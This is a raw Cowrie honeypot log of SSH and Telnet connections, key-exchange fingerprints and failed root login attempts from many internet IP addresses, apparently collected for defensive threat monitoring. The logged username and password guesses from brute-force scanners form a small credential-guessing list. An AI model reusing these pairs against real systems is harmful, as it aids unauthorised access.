{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:28.902022Z","src_ip":"85.11.167.46","session":"d31c4bf4e863","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1","message":"login attempt [root/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:29.152578Z","src_ip":"85.11.167.46","session":"d31c4bf4e863","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:30.240014Z","src_ip":"85.11.167.46","session":"d31c4bf4e863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":46660,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b0b6640e847","protocol":"ssh","message":"New connection: 38.93.206.2:46660 (10.17.0.5:22) [session: 7b0b6640e847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:32.715446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:32.720282Z","src_ip":"38.93.206.2","session":"7b0b6640e847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:32.770699Z","src_ip":"38.93.206.2","session":"7b0b6640e847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15061987","message":"login attempt [root/15061987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:32.922621Z","src_ip":"38.93.206.2","session":"7b0b6640e847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":56454,"dst_ip":"10.17.0.5","dst_port":23,"session":"908673cc4308","protocol":"telnet","message":"New connection: 178.128.93.180:56454 (10.17.0.5:23) [session: 908673cc4308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:33.132207Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:33.975633Z","src_ip":"38.93.206.2","session":"7b0b6640e847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":60412,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a0120b38685","protocol":"ssh","message":"New connection: 193.228.128.84:60412 (159.203.135.109:22) [session: 2a0120b38685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:35.486439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:35.492995Z","src_ip":"193.228.128.84","session":"2a0120b38685","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:35.595880Z","src_ip":"193.228.128.84","session":"2a0120b38685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1231231234","message":"login attempt [root/1231231234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:35.907717Z","src_ip":"193.228.128.84","session":"2a0120b38685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:37.014165Z","src_ip":"193.228.128.84","session":"2a0120b38685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.02018594741821,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:39.151685Z","src_ip":"69.4.83.194","session":"520d64340b47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.56.179","src_port":50444,"dst_ip":"159.203.135.109","dst_port":22,"session":"f892f948c253","protocol":"ssh","message":"New connection: 115.190.56.179:50444 (159.203.135.109:22) [session: f892f948c253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:46.989602Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":53316,"dst_ip":"159.203.135.109","dst_port":22,"session":"e902fd0c0af4","protocol":"ssh","message":"New connection: 194.113.233.25:53316 (159.203.135.109:22) [session: e902fd0c0af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:59.755793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:59.760978Z","src_ip":"194.113.233.25","session":"e902fd0c0af4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:59.850859Z","src_ip":"194.113.233.25","session":"e902fd0c0af4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345tgb","message":"login attempt [root/12345tgb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:00.121230Z","src_ip":"194.113.233.25","session":"e902fd0c0af4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:01.214391Z","src_ip":"194.113.233.25","session":"e902fd0c0af4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54104,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fc63c91c1dc","protocol":"telnet","message":"New connection: 69.4.83.194:54104 (159.203.135.109:23) [session: 9fc63c91c1dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:10.527874Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":42962,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b1ae8e71311","protocol":"ssh","message":"New connection: 103.27.238.120:42962 (159.203.135.109:22) [session: 1b1ae8e71311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:18.578803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:18.587618Z","src_ip":"103.27.238.120","session":"1b1ae8e71311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":50616,"dst_ip":"159.203.135.109","dst_port":22,"session":"955250000298","protocol":"ssh","message":"New connection: 103.27.238.116:50616 (159.203.135.109:22) [session: 955250000298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:18.657064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:18.663493Z","src_ip":"103.27.238.116","session":"955250000298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:18.868829Z","src_ip":"103.27.238.120","session":"1b1ae8e71311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:18.923566Z","src_ip":"103.27.238.116","session":"955250000298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":55838,"dst_ip":"10.17.0.5","dst_port":23,"session":"b19a4bfcb1db","protocol":"telnet","message":"New connection: 178.128.93.180:55838 (10.17.0.5:23) [session: b19a4bfcb1db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:19.308918Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"juliadronina1996","message":"login attempt [root/juliadronina1996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:19.703722Z","src_ip":"103.27.238.116","session":"955250000298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000a","message":"login attempt [root/00000000a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:19.716693Z","src_ip":"103.27.238.120","session":"1b1ae8e71311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:20.965624Z","src_ip":"103.27.238.116","session":"955250000298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:21.000368Z","src_ip":"103.27.238.120","session":"1b1ae8e71311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":51724,"dst_ip":"159.203.135.109","dst_port":23,"session":"946a040a4ed5","protocol":"telnet","message":"New connection: 165.22.57.101:51724 (159.203.135.109:23) [session: 946a040a4ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:23.338160Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":51260,"dst_ip":"159.203.135.109","dst_port":23,"session":"e88633609509","protocol":"telnet","message":"New connection: 79.139.59.21:51260 (159.203.135.109:23) [session: e88633609509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:35.677454Z"}
{"eventid":"cowrie.session.closed","duration":68.77449655532837,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:41.906559Z","src_ip":"178.128.93.180","session":"908673cc4308","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.60720252990723,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:45.134946Z","src_ip":"69.4.83.194","session":"9fc63c91c1dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.56.179","src_port":47648,"dst_ip":"159.203.135.109","dst_port":22,"session":"b11f9159d65c","protocol":"ssh","message":"New connection: 115.190.56.179:47648 (159.203.135.109:22) [session: b11f9159d65c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:46.565468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:46.570500Z","src_ip":"115.190.56.179","session":"b11f9159d65c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:47.545227Z","src_ip":"115.190.56.179","session":"b11f9159d65c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pc","password":"pc","message":"login attempt [pc/pc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:54.695821Z","src_ip":"115.190.56.179","session":"b11f9159d65c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:06:55.951707Z","src_ip":"115.190.56.179","session":"b11f9159d65c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44880,"dst_ip":"159.203.135.109","dst_port":23,"session":"e50d2432245c","protocol":"telnet","message":"New connection: 69.4.83.194:44880 (159.203.135.109:23) [session: e50d2432245c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:00.911468Z"}
{"eventid":"cowrie.session.closed","duration":40.27368235588074,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:03.611717Z","src_ip":"165.22.57.101","session":"946a040a4ed5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":100.33632302284241,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:06.257791Z","src_ip":"178.128.93.180","session":"d6b1ab3abce7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51792,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3b63cd5acee","protocol":"telnet","message":"New connection: 69.4.83.194:51792 (159.203.135.109:23) [session: b3b63cd5acee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:18.851568Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":32988,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd3615011037","protocol":"ssh","message":"New connection: 103.172.78.219:32988 (159.203.135.109:22) [session: bd3615011037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:24.754557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:07:24.784227Z","src_ip":"103.172.78.219","session":"bd3615011037","protocol":"ssh"}
